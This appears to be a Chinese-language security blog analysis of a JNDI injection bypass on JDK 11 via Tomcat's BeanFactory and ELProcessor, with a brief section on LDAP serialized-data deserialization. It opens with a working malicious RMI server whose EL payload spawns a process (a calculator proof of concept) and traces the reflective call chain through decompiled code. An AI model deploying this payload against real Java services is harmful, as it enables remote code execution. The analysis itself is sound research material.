import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;

public class RMIServer {
    public static void main(String[] args) throws Exception {

        InitialContext ctx = new InitialContext();
        LocateRegistry.createRegistry(1099);

//        Reference reference = new Reference("Exp", null, "http://localhost:8000/");
//        TestImpl test = new TestImpl();

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "KINGX=eval"));
        ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open', '-a', 'Calculator'].start())\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

        ctx.bind("rmi://127.0.0.1:1099/test", referenceWrapper);

        System.out.println("RMI server bind at 127.0.0.1:1099...");
    }
}

分析一下怎么绕过的(jdk11

先看一下传入的ResourceRef类实例结构,classFacotryLocation为null,由此绕过,传入classFactory为BeanFactory,其中添加的参数在addrs中

image-20240321163328113

继续向下看一下加载,进入NamingManager#getObjectInstance,跟进到这边获取factory

image-20240321160243447

继续跟进,尝试利用loadClassWithoutInit获取factory,往下就是利用factoryName本地加载获取Class,最终拿到org.apache.naming.factory.Beanfactory Class

image-20240321160351885

最终返回BeanFactory类实例

image-20240321162846066

回到NamingManager#getObjectInstance,拿到factory BeanFactory后,执行BeanFactory#getObjectInstance,并且传入ref

image-20240321163040960

跟进BeanFactory#getObjectinstance,有点长不全粘了一点一点看,首先判断传入ref类型ResourceRef,这也是为什么使用ResourceRef原因,然后取到ref中ClassName,即我们存入的javax.el.ELProcessor,然后取到ELProcessor类的Class

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
    if (obj instanceof ResourceRef) {
        NamingException ne;
        try {
            Reference ref = (Reference)obj;
            String beanClassName = ref.getClassName();	// "javax.el.ELProcessor"
            Class<?> beanClass = null;
            ClassLoader tcl = Thread.currentThread().getContextClassLoader();
            if (tcl != null) {
                try {
                    beanClass = tcl.loadClass(beanClassName);
                } catch (ClassNotFoundException var26) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch (ClassNotFoundException var25) {
                    var25.printStackTrace();
                }
            }
         ...

继续向下,利用ELProcessor创建新实例bean,并且取出attrs中forceString,如果取到了,getContent()方法拿到KINGX=eval,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
...
if (beanClass == null) {	// ELProcessor.class
    throw new NamingException("Class not found: " + beanClassName);
} else {
    BeanInfo bi = Introspector.getBeanInfo(beanClass);
    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
    Object bean = beanClass.newInstance();	// ELProcessor
    RefAddr ra = ref.get("forceString");
    Map<String, Method> forced = new HashMap();
    String value;
    String propName;
    int i;
    if (ra != null) {
        value = (String)ra.getContent();	// "KINGX=eval"
        Class<?>[] paramTypes = new Class[]{String.class};
        String[] arr$ = value.split(",");
        i = arr$.length;	// 1
...

继续向下,i为1进入for循环,param取到KINGX=eval,然后查找"=",构建propName为eval,param为KINGX,然后调用getMethod方法,也就是反射获取ELProcessor的eval方法,存入forced

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
...
for(int i$ = 0; i$ < i; ++i$) {
    String param = arr$[i$];	// "KINGX=eval"
    param = param.trim();	
    int index = param.indexOf(61);
    if (index >= 0) {
        propName = param.substring(index + 1).trim();	// "eval"
        param = param.substring(0, index).trim();	// "KINGX"
    } else {
        propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);	// "setKINGX=eval"
    }

    try {
        forced.put(param, beanClass.getMethod(propName, paramTypes));
    } catch (SecurityException | NoSuchMethodException var24) {
        throw new NamingException("Forced String setter " + propName + " not found for property " + param);
    }
}
...

继续向下,ref.getAll()拿到所有addrs,进入循环,循环到我们定义的KINGX时跳出,也就是此时的ra,将写的一串恶意字符串赋值给value,从forced中取出eval method,然后invoke反射调用,也就是说最终执行ELProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open', '-a', 'Calculator'].start())\")")

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Enumeration<RefAddr> e = ref.getAll();

while(true) {
    while(true) {
        do {
            do {
                do {
                    do {
                        do {
                            if (!e.hasMoreElements()) {
                                return bean;
                            }

                            ra = (RefAddr)e.nextElement();
                            propName = ra.getType();
                        } while(propName.equals("factory"));
                    } while(propName.equals("scope"));
                } while(propName.equals("auth"));
            } while(propName.equals("forceString"));
        } while(propName.equals("singleton"));
      	
      	value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = (Method)forced.get(propName);
        if (method != null) {
            valueArray[0] = value;

            try {
                method.invoke(bean, valueArray);
            } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
            }
        }

基于BeanFactory,按照这个思路可以扩充出其他很多的利用,可以找到其他的一些同理利用,只要在forceString中给方法名然后插入执行的代码即可(MLet、GroovyClassLoader、SnakeYaml等),这边就不一一分析了,原理都通

BeanFactory的利用的绕过思路就是使用一个本地类来加载导致,除了BeanFactory还有其他类可以利用么

这样的类需要满足这样的条件:

  • 实现javax.naming.spi.ObjectFactory的接口类
  • 带getObjectIntance方法

并且最好还是在比较常见的包中(这边暂时不分析了

LDAP serialize

分析时我们注意到下面这个位置,他会检查传入设计的一些属性是否设置了javaSerializedData,如果设置了就会调用deserializeObejct反序列化去处理我们传入的javaSerializedData

1
2
3
4
5
6
7
8
static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
        Attribute var1;
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            ClassLoader var3 = helper.getURLClassLoader(var2);
            return deserializeObject((byte[])((byte[])var1.get()), var3);

需要目标环境中有配合的反序列化gadget

注意高版本添加了校验,判断VersionHelper.isSerialDataAllowed(),返回trustSerialData,默认为false

image-20240322162101293

参考

https://tttang.com/archives/1405

https://paper.seebug.org/942

0%